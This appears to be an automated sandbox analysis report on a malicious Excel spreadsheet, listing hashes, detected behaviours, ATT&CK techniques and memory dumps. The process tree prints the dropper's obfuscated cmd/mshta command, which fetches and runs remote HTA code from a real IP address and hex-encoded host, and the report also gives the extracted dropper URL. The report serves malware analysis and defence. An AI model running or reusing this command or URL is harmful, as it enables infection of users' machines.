54d2665f87fdc6eed9b2a695c003ede16692119bd68a4721c515e00183fe8ee6

Analysis

max time kernel
133s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2024 08:32

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General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1760	4912	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	1692	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4912	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE
4912	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 1760	4912	EXCEL.EXE	86
PID 4912 wrote to memory of 1760	4912	EXCEL.EXE	86
PID 1760 wrote to memory of 1692	1760	cmd.exe	88
PID 1760 wrote to memory of 1692	1760	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
5aa77b0cb22eb611a91686c1fc5c3ff7

SHA1
333e00b6bb113fbf376e8e6f2e94a1095e5a9464

SHA256
7bc7445e02a362186944771c73e254d1eab8d6c0eafe4e9076680ddbc4fd4a34

SHA512
e1bf1cdfdf8c98ba9ed80e4ac441f45e01d7f3084cc94db74ffacc5907d705997f80fc9924effbae7efc2b3e885ac7beb3db999b859c66a2d835dbc337912c32

Download Submit
memory/4912-7-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-1-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

Filesize
4KB

Download
memory/4912-10-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-11-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-4-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/4912-5-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-8-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/4912-0-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/4912-2-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/4912-3-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/4912-6-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-12-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

Filesize
64KB

Download
memory/4912-13-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

Filesize
64KB

Download
memory/4912-24-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-25-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

Filesize
4KB

Download
memory/4912-26-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-27-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/4912-9-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads